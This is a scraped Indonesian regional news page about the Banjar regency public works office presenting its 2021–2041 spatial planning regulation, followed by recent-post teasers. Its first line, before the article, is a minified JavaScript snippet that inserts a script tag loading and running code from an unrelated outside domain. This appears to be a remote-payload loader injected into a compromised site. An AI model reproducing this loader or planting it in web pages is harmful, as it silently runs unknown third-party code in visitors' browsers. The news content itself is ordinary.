(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

PUPR Banjar Gelar Sosialisasi Perda Tentang RTRW Kabupaten Banjar Tahun 2021-2041


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) melaksanakan kegiatan Sosialisasi Peraturan Daerah Nomor 4 Tahun 2021 tentang Rencana Tata Ruang Wilayah (RTRW) Kabupaten Banjar Tahun 2021-2041 di Kertak Hanyar, Selasa (19/10/2021) pagi.

Kegiatan itu dibuka oleh Wakil Bupati Banjar Habib Idrus Al Habsyie didampingi Kepala Dinas PUPR Banjar Ahmad Solhan serta diikuti oleh Asisten, Staf Ahli, para Kepala SKPD, Camat se Kabupaten Banjar, dan para kepala instansi vertikal.

Wakil Bupati Banjar menyambut baik kegiatan sosialisasi untuk menginformasikan mengenai arah dan kebijakan yang mengacu pada peraturan RTRW yang telah disahkan menjadi Peraturan Daerah, dalam pengembangan wilayah Kabupaten Banjar selama 20 tahun ke depan.

”RTRW mempunyai nilai dan posisi yang sangat strategis dalam pembangunan. Berdasarkan UU Nomor 11 Tahun 2020 Tentang Cipta Kerja ditetapkan pemerintah pusat untuk memberikan kemudahan berusaha yang semestinya disertai dengan penguatan pengendalian tata ruang,” ucap dia.

 

Baca juga : Keuangan PDAM Kapuas Tak Sehat, Gaji Karyawan Belum Dibayar, Ini Kata Sekda Kapuas

”Hal tersebut juga ditegaskan kembali dalam Peraturan Pemerintah Nomor 21 Tahun 2021 tentang Penyelenggaraan Penataan Ruang yang menyebutkan bahwa penyusunan RTRW wilayah Kabupaten dilaksanakan oleh Pemerintah Kabupaten dengan ketentuan sesuai norma, standar, prosedur dan kriteria Peraturan Menteri,” tambah dia.

Dia juga mengharapkan bahwa Perda Nomor 4 Tahun 2021 ini selalu dijadikan pedoman oleh stakeholder dan masyarakat dalam proses perencanaan tata ruang, pemanfaatan ruang dan pengendalian penataan ruang yang akan membantu terwujudnya penyelenggaraan penataan ruang yang efekif, efisien, selaras dan tetap memperhatikan kualitas lingkungan. (kanalkalimantan.com/rls)

Reporter : rls
Editor : Dhani


Desy Arfianty

Recent Posts

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

2 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

3 jam ago

Akhir Masa Tugas, Pjs Wali Kota Nurliani Membuka Acara Kesehatan

KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More

5 jam ago

Kembali Tak Datang, KPK Sebut Peluang Jemput Paksa Paman Birin

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More

6 jam ago

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

7 jam ago

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

17 jam ago

This website uses cookies.